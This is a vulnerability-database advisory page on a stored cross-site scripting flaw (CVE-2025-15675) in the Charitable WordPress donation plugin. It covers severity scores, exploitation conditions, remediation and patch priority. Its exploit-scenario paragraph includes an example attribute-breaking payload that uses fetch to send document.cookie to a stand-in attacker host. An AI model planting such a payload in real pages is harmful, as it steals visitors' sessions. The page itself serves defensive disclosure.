Skip to main content

Charitable Plugin CVE-2025-15675

| EUVDEUVD-2025-210588 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-02 WPScan GHSA-pwhm-f4mm-grcw
4.8
CVSS 3.1 · Vendor: WPScan
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as privileged campaign manager
  2. Delivery
    Inject XSS payload into campaign image text field
  3. Exploit
    Payload persisted to database unsanitized
  4. Install
    Victim loads public campaign page
  5. C2
    Browser renders unescaped HTML attribute
  6. Execute
    Attacker script executes in victim browser context
  7. Impact
    Session data or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a high-privilege campaign-management role within the WordPress installation (PR:H per CVSS vector), meaning unauthenticated external attackers cannot exploit this directly. The vulnerable code path is specifically the campaign image text field - only that field is confirmed as unsanitized; other plugin fields are not stated to be affected. A frontend site visitor must actively load the campaign page for the stored payload to execute (UI:R), so impact is deferred until victim interaction occurs. Exploitation is limited to WordPress sites running the Charitable plugin in any version below 1.8.5.3 with at least one user account carrying campaign-management privileges. Sites where all campaign managers are fully trusted internal staff face minimal realistic risk beyond patch compliance.

Impact

The CVSS base score of 4.8 (Medium) is appropriate and consistent with the available signals. The vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N conveys a network-reachable attack requiring no special complexity, but gated by a high-privilege campaign-manager role (PR:H) and victim interaction (UI:R), substantially narrowing the exploitable population. EPSS at 0.16% (6th percentile) corroborates low automated exploitation likelihood, consistent with the authentication barrier. A public POC via WPScan exists, which elevates risk for targeted attacks against specific deployments where a malicious or compromised campaign manager is plausible (e.g., multi-author donation sites, charities with external staff). There is no CISA KEV entry, so mass exploitation is not confirmed. The realistic threat model is an insider or compromised privileged account planting a persistent payload for visitor harvesting - not an external unauthenticated attacker. No SSVC data was provided; inferring from available signals, automatable exploitation is unlikely given the PR:H gate.

Exploit ScenarioDerived

A malicious or compromised campaign manager logs into the WordPress backend and edits a donation campaign, injecting a JavaScript payload (e.g., an event-handler-breaking attribute like " onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)) into the campaign image text field. The payload is saved to the database without sanitization; when a site donor or visitor navigates to the public campaign page, their browser renders the attribute, fires the event handler, and silently exfiltrates their session cookie to the attacker's server. A public POC is available via WPScan confirming exploitability of this injection point.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

Stored Cross-Site Scripting in the Charitable WordPress donation plugin (versions before 1.8.5.3) allows authenticated users holding a high-privilege campaign-management role to inject persistent malicious scripts via an unsanitized campaign image text field that is rendered unescaped inside an HTML attribute on the public-facing campaign page. Any site visitor who loads that page becomes a potential victim, enabling session hijacking, credential theft, or defacement against the site's front-end audience. A publicly available proof-of-concept exploit exists; however, no active exploitation has been confirmed in CISA KEV, and the EPSS score of 0.16% (6th percentile) reflects low broad-exploitation probability consistent with the high-privilege prerequisite.

RemediationAI

The vendor has released a patch in Charitable version 1.8.5.3; site administrators should upgrade to 1.8.5.3 or any later release immediately via the WordPress plugin dashboard or by downloading from the official WordPress plugin repository. The advisory is detailed at https://wpscan.com/vulnerability/19381d34-3942-4ba6-92a9-0290e1006da0/. If immediate patching is not possible, a compensating control is to audit and restrict which users hold the campaign-management role, reducing the exploitable population to only fully trusted staff - note that this does not eliminate the vulnerability, only reduces exposure. Additionally, deploying a Web Application Firewall (WAF) rule blocking common XSS payloads in campaign image fields can provide partial mitigation, though WAF bypasses are common for attribute-context XSS. Content Security Policy (CSP) headers restricting inline script execution on campaign pages would significantly limit the impact of any successful injection even if payload delivery occurs.

Affected VersionsENISA

Charitable 0 <1.8.5.3

Affected Packages

euvd charitable fix: 1.8.5.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Charitable plugin (CPE: cpe:2.3:a:unknown:charitable:*:*:*:*:*:*:*:*) is a WordPress donation and campaign-management extension. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS): user-supplied text intended for a campaign image descriptor is persisted to the database without server-side sanitization and is later rendered directly into an HTML attribute on the public campaign page without context-appropriate escaping (e.g., missing esc_attr() or equivalent WordPress sanitization hooks). Because the injection point sits inside an HTML attribute context rather than between tags, encoding gaps that allow quote-breaking or event-handler injection are the likely mechanism. The CVSS scope change (S:C) indicates the malicious payload executes in the victim's browser security context rather than the server's, which is characteristic of client-side XSS.

Know when Charitable gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (WPScan) PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 4.8 MEDIUM

High privileges required (campaign-manager role); scope changes to victim browser; no availability impact; matches provided NVD vector.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (WPScan).

CVSS VectorVendor: WPScan

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
CVSS changed
Aug 03, 2026 - 18:22 NVD
4.8 (MEDIUM)
Patch available
Aug 02, 2026 - 07:00 EUVD
CVE Published
Aug 02, 2026 - 06:00 cve.org
UNKNOWN (no severity yet)
CVE Published
Aug 02, 2026 - 06:00 cve.org
MEDIUM 4.8

DescriptionCVE.org

The Charitable WordPress plugin before 1.8.5.3 does not sanitise and escape one of its campaign image text fields before outputting it in an HTML attribute, allowing users with a high-privilege campaign-management role to perform Stored Cross-Site Scripting attacks that execute on the front-end campaign page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Medium
popular WordPress donation plugin, not universally deployed
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy